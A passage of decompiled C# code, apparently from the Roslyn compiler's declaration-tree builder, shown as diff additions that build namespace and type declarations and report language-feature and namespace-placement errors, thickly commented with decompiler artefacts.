instance.ToImmutableAndFree(); + } + + private static SingleNamespaceOrTypeDeclaration CreateImplicitClass(StrongBox> memberNames, SyntaxReference container, SingleTypeDeclaration.TypeDeclarationFlags declFlags) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Expected O, but got Unknown + return new SingleTypeDeclaration(DeclarationKind.ImplicitClass, "", 0, DeclarationModifiers.Sealed | DeclarationModifiers.Internal | DeclarationModifiers.Partial, declFlags, container, new SourceLocation(container), memberNames, ImmutableArray.Empty, ImmutableArray.Empty, QuickAttributes.None); + } + + private static SingleNamespaceOrTypeDeclaration CreateSimpleProgram(Microsoft.CodeAnalysis.CSharp.Syntax.GlobalStatementSyntax firstGlobalStatement, bool hasAwaitExpressions, bool isIterator, bool hasReturnWithExpression, ImmutableArray diagnostics) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Expected O, but got Unknown + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Expected O, but got Unknown + SyntaxToken firstToken = firstGlobalStatement.GetFirstToken(); + SourceLocation val = new SourceLocation(ref firstToken); + if (((Location)val).SourceTree == null) + { + firstToken = firstGlobalStatement.GetFirstToken(includeZeroWidth: false, includeSkipped: true); + val = new SourceLocation(ref firstToken); + } + return new SingleTypeDeclaration(DeclarationKind.Class, "Program", 0, DeclarationModifiers.Partial, (SingleTypeDeclaration.TypeDeclarationFlags)((hasAwaitExpressions ? 64 : 0) | (isIterator ? 128 : 0) | (hasReturnWithExpression ? 256 : 0) | 0x200), firstGlobalStatement.SyntaxTree.GetReference((SyntaxNode)(object)firstGlobalStatement.Parent), val, s_emptyMemberNames, ImmutableArray.Empty, diagnostics, QuickAttributes.None); + } + + private RootSingleNamespaceDeclaration CreateScriptRootDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnit) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + SyntaxList members = compilationUnit.Members; + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + Enumerator enumerator = members.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.MemberDeclarationSyntax current = enumerator.Current; + SingleNamespaceOrTypeDeclaration singleNamespaceOrTypeDeclaration = Visit((SyntaxNode?)(object)current); + if (singleNamespaceOrTypeDeclaration != null) + { + if (singleNamespaceOrTypeDeclaration.Kind == DeclarationKind.Namespace) + { + instance.Add(singleNamespaceOrTypeDeclaration); + } + else + { + instance2.Add((SingleTypeDeclaration)singleNamespaceOrTypeDeclaration); + } + } + } + SingleTypeDeclaration.TypeDeclarationFlags declFlags = SingleTypeDeclaration.TypeDeclarationFlags.None; + StrongBox> nonTypeMemberNames = GetNonTypeMemberNames(compilationUnit, ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax)(object)((SyntaxNode)compilationUnit).Green).Members, ref declFlags); + instance.Add(CreateScriptClass(compilationUnit, instance2.ToImmutableAndFree(), nonTypeMemberNames, declFlags)); + return CreateRootSingleNamespaceDeclaration(compilationUnit, instance.ToImmutableAndFree(), isForScript: true); + } + + private static ImmutableArray GetReferenceDirectives(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnit) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + IList referenceDirectives = compilationUnit.GetReferenceDirectives(delegate(Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax d) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken file2 = d.File; + if (!((SyntaxToken)(ref file2)).ContainsDiagnostics) + { + file2 = d.File; + return !string.IsNullOrEmpty(((SyntaxToken)(ref file2)).ValueText); + } + return false; + }); + if (referenceDirectives.Count == 0) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(referenceDirectives.Count); + foreach (Microsoft.CodeAnalysis.CSharp.Syntax.ReferenceDirectiveTriviaSyntax item in referenceDirectives) + { + SyntaxToken file = item.File; + instance.Add(new ReferenceDirective(((SyntaxToken)(ref file)).ValueText, (Location)new SourceLocation((SyntaxNode)(object)item))); + } + return instance.ToImmutableAndFree(); + } + + private SingleNamespaceOrTypeDeclaration CreateScriptClass(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax parent, ImmutableArray children, StrongBox> memberNames, SingleTypeDeclaration.TypeDeclarationFlags declFlags) + { + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Expected O, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0077: Expected O, but got Unknown + SyntaxReference reference = _syntaxTree.GetReference((SyntaxNode)(object)parent); + string[] array = _scriptClassName.Split(new char[1] { '.' }); + SingleNamespaceOrTypeDeclaration singleNamespaceOrTypeDeclaration = new SingleTypeDeclaration(_isSubmission ? DeclarationKind.Submission : DeclarationKind.Script, array.Last(), 0, DeclarationModifiers.Sealed | DeclarationModifiers.Internal | DeclarationModifiers.Partial, declFlags, reference, new SourceLocation(reference), memberNames, children, ImmutableArray.Empty, QuickAttributes.None); + for (int num = array.Length - 2; num >= 0; num--) + { + singleNamespaceOrTypeDeclaration = SingleNamespaceDeclaration.Create(array[num], hasUsings: false, hasExternAliases: false, reference, new SourceLocation(reference), ImmutableArray.Create(singleNamespaceOrTypeDeclaration), ImmutableArray.Empty); + } + return singleNamespaceOrTypeDeclaration; + } + + private static QuickAttributes GetQuickAttributes(SyntaxList usings, bool global) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + QuickAttributes quickAttributes = QuickAttributes.None; + Enumerator enumerator = usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax current = enumerator.Current; + if (current.Alias != null && current.GlobalKeyword.Kind() != SyntaxKind.None == global) + { + Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name = current.Name; + if (name != null) + { + QuickAttributes num = quickAttributes; + SyntaxToken identifier = name.GetUnqualifiedName().Identifier; + quickAttributes = num | QuickAttributeHelpers.GetQuickAttributes(((SyntaxToken)(ref identifier)).ValueText, inAttribute: false); + } + } + } + return quickAttributes; + } + + public override SingleNamespaceOrTypeDeclaration VisitCompilationUnit(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnit) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0029: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + if ((int)_syntaxTree.Options.Kind != 0) + { + return CreateScriptRootDeclaration(compilationUnit); + } + _nonGlobalAliasedQuickAttributes = GetNonGlobalAliasedQuickAttributes(compilationUnit); + ImmutableArray children = VisitNamespaceChildren(compilationUnit, compilationUnit.Members, ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CompilationUnitSyntax)(object)((SyntaxNode)compilationUnit).Green).Members); + return CreateRootSingleNamespaceDeclaration(compilationUnit, children, isForScript: false); + } + + private static QuickAttributes GetNonGlobalAliasedQuickAttributes(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnit) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + QuickAttributes quickAttributes = GetQuickAttributes(compilationUnit.Usings, global: false); + Enumerator enumerator = compilationUnit.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is Microsoft.CodeAnalysis.CSharp.Syntax.BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax) + { + quickAttributes |= GetNonGlobalAliasedQuickAttributes(baseNamespaceDeclarationSyntax); + } + } + return quickAttributes; + } + + private static QuickAttributes GetNonGlobalAliasedQuickAttributes(Microsoft.CodeAnalysis.CSharp.Syntax.BaseNamespaceDeclarationSyntax @namespace) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + QuickAttributes quickAttributes = GetQuickAttributes(@namespace.Usings, global: false); + Enumerator enumerator = @namespace.Members.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current is Microsoft.CodeAnalysis.CSharp.Syntax.BaseNamespaceDeclarationSyntax baseNamespaceDeclarationSyntax) + { + quickAttributes |= GetNonGlobalAliasedQuickAttributes(baseNamespaceDeclarationSyntax); + } + } + return quickAttributes; + } + + private RootSingleNamespaceDeclaration CreateRootSingleNamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnit, ImmutableArray children, bool isForScript) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + bool hasGlobalUsings = false; + bool flag2 = false; + DiagnosticBag instance = DiagnosticBag.GetInstance(); + Enumerator enumerator = compilationUnit.Usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax current = enumerator.Current; + if (current.GlobalKeyword.IsKind(SyntaxKind.GlobalKeyword)) + { + hasGlobalUsings = true; + if (flag && !flag2) + { + flag2 = true; + SyntaxToken globalKeyword = current.GlobalKeyword; + instance.Add(ErrorCode.ERR_GlobalUsingOutOfOrder, ((SyntaxToken)(ref globalKeyword)).GetLocation()); + } + } + else + { + flag = true; + } + } + QuickAttributes quickAttributes = GetQuickAttributes(compilationUnit.Usings, global: true); + CheckFeatureAvailabilityForUsings(instance, compilationUnit.Usings); + CheckFeatureAvailabilityForExterns(instance, compilationUnit.Externs); + return new RootSingleNamespaceDeclaration(hasGlobalUsings, flag, compilationUnit.Externs.Any(), _syntaxTree.GetReference((SyntaxNode)(object)compilationUnit), children, isForScript ? GetReferenceDirectives(compilationUnit) : ImmutableArray.Empty, compilationUnit.AttributeLists.Any(), instance.ToReadOnlyAndFree(), quickAttributes); + } + + private static void CheckFeatureAvailabilityForUsings(DiagnosticBag diagnostics, SyntaxList usings) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax current = enumerator.Current; + SyntaxToken staticKeyword = current.StaticKeyword; + SyntaxToken val = default(SyntaxToken); + if (staticKeyword != val) + { + val = current.StaticKeyword; + MessageID.IDS_FeatureUsingStatic.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)current, ((SyntaxToken)(ref val)).GetLocation()); + } + SyntaxToken globalKeyword = current.GlobalKeyword; + val = default(SyntaxToken); + if (globalKeyword != val) + { + val = current.GlobalKeyword; + MessageID.IDS_FeatureGlobalUsing.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)current, ((SyntaxToken)(ref val)).GetLocation()); + } + } + } + + private static void CheckFeatureAvailabilityForExterns(DiagnosticBag diagnostics, SyntaxList externs) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = externs.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax current = enumerator.Current; + SyntaxToken externKeyword = current.ExternKeyword; + MessageID.IDS_FeatureExternAlias.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)current, ((SyntaxToken)(ref externKeyword)).GetLocation()); + } + } + + public override SingleNamespaceOrTypeDeclaration VisitFileScopedNamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax node) + { + return VisitBaseNamespaceDeclaration(node); + } + + public override SingleNamespaceOrTypeDeclaration VisitNamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax node) + { + return VisitBaseNamespaceDeclaration(node); + } + + private SingleNamespaceDeclaration VisitBaseNamespaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.BaseNamespaceDeclarationSyntax node) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_005b: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + //IL_00c6: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_013b: Unknown result type (might be due to invalid IL or missing references) + //IL_01d1: Unknown result type (might be due to invalid IL or missing references) + //IL_01d6: Unknown result type (might be due to invalid IL or missing references) + //IL_0205: Unknown result type (might be due to invalid IL or missing references) + //IL_020a: Unknown result type (might be due to invalid IL or missing references) + //IL_01ea: Unknown result type (might be due to invalid IL or missing references) + //IL_01ef: Unknown result type (might be due to invalid IL or missing references) + //IL_023d: Unknown result type (might be due to invalid IL or missing references) + //IL_0242: Unknown result type (might be due to invalid IL or missing references) + //IL_0246: Unknown result type (might be due to invalid IL or missing references) + //IL_024b: Unknown result type (might be due to invalid IL or missing references) + //IL_021e: Unknown result type (might be due to invalid IL or missing references) + //IL_0223: Unknown result type (might be due to invalid IL or missing references) + //IL_0228: Unknown result type (might be due to invalid IL or missing references) + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_025a: Unknown result type (might be due to invalid IL or missing references) + //IL_0296: Unknown result type (might be due to invalid IL or missing references) + //IL_02a3: Unknown result type (might be due to invalid IL or missing references) + //IL_02b3: Unknown result type (might be due to invalid IL or missing references) + //IL_02b8: Unknown result type (might be due to invalid IL or missing references) + //IL_02d1: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Expected O, but got Unknown + //IL_0274: Unknown result type (might be due to invalid IL or missing references) + //IL_0279: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray children = VisitNamespaceChildren(node, node.Members, ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.BaseNamespaceDeclarationSyntax)(object)((SyntaxNode)node).Green).Members); + bool hasUsings = node.Usings.Any(); + bool hasExternAliases = node.Externs.Any(); + Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax nameSyntax = node.Name; + CSharpSyntaxNode cSharpSyntaxNode = node; + SyntaxToken val; + while (nameSyntax is Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax qualifiedNameSyntax) + { + val = qualifiedNameSyntax.Right.Identifier; + children = ImmutableArray.Create((SingleNamespaceOrTypeDeclaration)SingleNamespaceDeclaration.Create(((SyntaxToken)(ref val)).ValueText, hasUsings, hasExternAliases, _syntaxTree.GetReference((SyntaxNode)(object)cSharpSyntaxNode), new SourceLocation((SyntaxNode)(object)qualifiedNameSyntax.Right), children, ImmutableArray.Empty)); + cSharpSyntaxNode = (nameSyntax = qualifiedNameSyntax.Left); + hasUsings = false; + hasExternAliases = false; + } + DiagnosticBag instance = DiagnosticBag.GetInstance(); + if (node is Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax) + { + val = node.NamespaceKeyword; + MessageID.IDS_FeatureFileScopedNamespace.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref val)).GetLocation()); + if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax) + { + instance.Add(ErrorCode.ERR_MultipleFileScopedNamespace, node.Name.GetLocation()); + } + else if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.NamespaceDeclarationSyntax) + { + instance.Add(ErrorCode.ERR_FileScopedAndNormalNamespace, node.Name.GetLocation()); + } + else + { + Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax compilationUnitSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.CompilationUnitSyntax)node.Parent; + if (node != compilationUnitSyntax.Members[0]) + { + instance.Add(ErrorCode.ERR_FileScopedNamespaceNotBeforeAllMembers, node.Name.GetLocation()); + } + } + } + else if (node.Parent is Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax) + { + instance.Add(ErrorCode.ERR_FileScopedAndNormalNamespace, node.Name.GetLocation()); + } + if (ContainsGeneric(node.Name)) + { + instance.Add(ErrorCode.ERR_UnexpectedGenericName, node.Name.GetLocation()); + } + if (ContainsAlias(node.Name)) + { + instance.Add(ErrorCode.ERR_UnexpectedAliasedName, node.Name.GetLocation()); + } + if (node.AttributeLists.Count > 0) + { + instance.Add(ErrorCode.ERR_BadModifiersOnNamespace, node.AttributeLists[0].GetLocation()); + } + SyntaxTokenList modifiers = node.Modifiers; + if (((SyntaxTokenList)(ref modifiers)).Count > 0) + { + modifiers = node.Modifiers; + val = ((SyntaxTokenList)(ref modifiers))[0]; + instance.Add(ErrorCode.ERR_BadModifiersOnNamespace, ((SyntaxToken)(ref val)).GetLocation()); + } + Enumerator enumerator = node.Usings.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax current = enumerator.Current; + if (current.GlobalKeyword.IsKind(SyntaxKind.GlobalKeyword)) + { + val = current.GlobalKeyword; + instance.Add(ErrorCode.ERR_GlobalUsingInNamespace, ((SyntaxToken)(ref val)).GetLocation()); + break; + } + } + CheckFeatureAvailabilityForUsings(instance, node.Usings); + CheckFeatureAvailabilityForExterns(instance, node.Externs); + val = nameSyntax.GetUnqualifiedName().Identifier; + return SingleNamespaceDeclaration.Create(((SyntaxToken)(ref val)).ValueText, hasUsings, hasExternAliases, _syntaxTree.GetReference((SyntaxNode)(object)cSharpSyntaxNode), new SourceLocation((SyntaxNode)(object)nameSyntax), children, instance.ToReadOnlyAndFree()); + } + + private static bool ContainsAlias(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + return name.Kind() switch + { + SyntaxKind.GenericName => false, + SyntaxKind.AliasQualifiedName => true, + SyntaxKind.QualifiedName => ContainsAlias(((Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)name).Left), + _ => false, + }; + } + + private static bool ContainsGeneric(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + switch (name.Kind()) + { + case SyntaxKind.GenericName: + return true; + case SyntaxKind.AliasQualifiedName: + return ContainsGeneric(((Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)name).Name); + case SyntaxKind.QualifiedName: + { + Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax qualifiedNameSyntax = (Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)name; + if (!ContainsGeneric(qualifiedNameSyntax.Left)) + { + return ContainsGeneric(qualifiedNameSyntax.Right); + } + return true; + } + default: + return false; + } + } + + public override SingleNamespaceOrTypeDeclaration VisitClassDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax node) + { + return VisitTypeDeclaration(node, DeclarationKind.Class); + } + + public override SingleNamespaceOrTypeDeclaration VisitStructDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax node) + { + return VisitTypeDeclaration(node, DeclarationKind.Struct); + } + + public override SingleNamespaceOrTypeDeclaration VisitInterfaceDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.InterfaceDeclarationSyntax node) + { + return VisitTypeDeclaration(node, DeclarationKind.Interface); + } + + public override SingleNamespaceOrTypeDeclaration VisitRecordDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax node) + { + return VisitTypeDeclaration(node, node.Kind() switch + { + SyntaxKind.RecordDeclaration => DeclarationKind.Record, + SyntaxKind.RecordStructDeclaration => DeclarationKind.RecordStruct, + _ => throw ExceptionUtilities.UnexpectedValue((object)node.Kind()), + }); + } + + private SingleTypeDeclaration VisitTypeDeclaration(Microsoft.CodeAnalysis.CSharp.Syntax.TypeDeclarationSyntax node, DeclarationKind kind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_008c: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_00f1: Unknown result type (might be due to invalid IL or missing references) + //IL_01ea: Unknown result type (might be due to invalid IL or missing references) + //IL_01fa: Unknown result type (might be due to invalid IL or missing references) + //IL_0207: Unknown result type (might be due to invalid IL or missing references) + //IL_020c: Unknown result type (might be due to invalid IL or missing references) + //IL_0210: Unknown result type (might be due to invalid IL or missing references) + //IL_0215: Unknown result type (might be due to invalid IL or missing references) + //IL_010a: Unknown result type (might be due to invalid IL or missing references) + //IL_010f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a8: Unknown result type (might be due to invalid IL or missing references) + //IL_021e: Unknown result type (might be due to invalid IL or missing references) + //IL_0223: Unknown result type (might be due to invalid IL or missing references) + //IL_0225: Unknown result type (might be due to invalid IL or missing references) + //IL_02de: Unknown result type (might be due to invalid IL or missing references) + //IL_02e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0302: Unknown result type (might be due to invalid IL or missing references) + //IL_0307: Unknown result type (might be due to invalid IL or missing references) + //IL_030b: Unknown result type (might be due to invalid IL or missing references) + //IL_032c: Expected O, but got Unknown + //IL_0189: Unknown result type (might be due to invalid IL or missing references) + //IL_0190: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_0250: Unknown result type (might be due to invalid IL or missing references) + //IL_01a0: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ad: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_01c4: Unknown result type (might be due to invalid IL or missing references) + //IL_0291: Unknown result type (might be due to invalid IL or missing references) + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + SingleTypeDeclaration.TypeDeclarationFlags declFlags = (node.AttributeLists.Any() ? SingleTypeDeclaration.TypeDeclarationFlags.HasAnyAttributes : SingleTypeDeclaration.TypeDeclarationFlags.None); + if (node.BaseList != null) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasBaseDeclarations; + } + DiagnosticBag instance = DiagnosticBag.GetInstance(); + if (node.Arity == 0) + { + Symbol.ReportErrorIfHasConstraints(node.ConstraintClauses, instance); + } + bool flag = node.ParameterList != null; + if (flag) + { + bool flag2 = ((node is Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax || node is Microsoft.CodeAnalysis.CSharp.Syntax.ClassDeclarationSyntax || node is Microsoft.CodeAnalysis.CSharp.Syntax.StructDeclarationSyntax) ? true : false); + flag = flag2; + } + bool flag3 = flag; + if (flag3) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasAnyNontypeMembers; + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.HasPrimaryConstructor; + Enumerator enumerator = node.AttributeLists.GetEnumerator(); + while (enumerator.MoveNext()) + { + Microsoft.CodeAnalysis.CSharp.Syntax.AttributeTargetSpecifierSyntax? target = enumerator.Current.Target; + if (target != null && target.Identifier.ToAttributeLocation() == AttributeLocation.Method) + { + declFlags |= SingleTypeDeclaration.TypeDeclarationFlags.AnyMemberHasAttributes; + break; + } + } + } + StrongBox> nonTypeMemberNames = GetNonTypeMemberNames(node, ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeDeclarationSyntax)(object)((SyntaxNode)node).Green).Members, ref declFlags, skipGlobalStatements: false, flag3); + SyntaxToken val; + if (node is Microsoft.CodeAnalysis.CSharp.Syntax.RecordDeclarationSyntax recordDeclarationSyntax) + { + if (recordDeclarationSyntax.ClassOrStructKeyword.Kind() != SyntaxKind.None) + { + val = recordDeclarationSyntax.ClassOrStructKeyword; + MessageID.IDS_FeatureRecordStructs.CheckFeatureAvailability(instance, (SyntaxNode)(object)recordDeclarationSyntax, ((SyntaxToken)(ref val)).GetLocation()); + } + } + else + { + SyntaxKind syntaxKind = node.Kind(); + if (syntaxKind - 8855 <= (SyntaxKind)2) + { + if (node.ParameterList != null) + { + if (node.Kind() == SyntaxKind.InterfaceDeclaration) + { + instance.Add(ErrorCode.ERR_UnexpectedParameterList, node.ParameterList.GetLocation()); + } + else + { + MessageID.IDS_FeaturePrimaryConstructors.CheckFeatureAvailability(instance, (SyntaxNode)(object)node.ParameterList); + } + } + else + { + SyntaxToken openBraceToken = node.OpenBraceToken; + val = default(SyntaxToken); + if (openBraceToken == val) + { + SyntaxToken closeBraceToken = node.CloseBraceToken; + val = default(SyntaxToken); + if (closeBraceToken == val) + { + SyntaxToken semicolonToken = node.SemicolonToken; + val = default(SyntaxToken); + if (semicolonToken != val) + { + val = node.SemicolonToken; + MessageID.IDS_FeaturePrimaryConstructors.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref val)).GetLocation()); + } + } + } + } + } + } + DeclarationModifiers modifiers = node.Modifiers.ToDeclarationModifiers(isForTypeDeclaration: true, instance); + QuickAttributes quickAttributes = GetQuickAttributes(node.AttributeLists); + SyntaxTokenList modifiers2 = node.Modifiers; + Enumerator enumerator2 = ((SyntaxTokenList)(ref modifiers2)).GetEnumerator(); + while (((Enumerator)(ref enumerator2)).MoveNext()) + { + SyntaxToken current = ((Enumerator)(ref enumerator2)).Current; + if (current.IsKind(SyntaxKind.StaticKeyword) && kind == DeclarationKind.Class) + { + MessageID.IDS_FeatureStaticClasses.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref current)).GetLocation()); + continue; + } + flag = current.IsKind(SyntaxKind.ReadOnlyKeyword); + if (flag) + { + bool flag2 = ((kind == DeclarationKind.Struct || kind == DeclarationKind.RecordStruct) ? true : false); + flag = flag2; + } + if (flag) + { + MessageID.IDS_FeatureReadOnlyStructs.CheckFeatureAvailability(instance, (SyntaxNode)(object)node, ((SyntaxToken)(ref current)).GetLocation()); + continue; + } + flag = current.IsKind(SyntaxKind.RefKeyword); + if (flag) + { + bool flag2 = ((kind == DeclarationKind.Struct || kind == DeclarationKind.RecordStruct) ? true : false); + 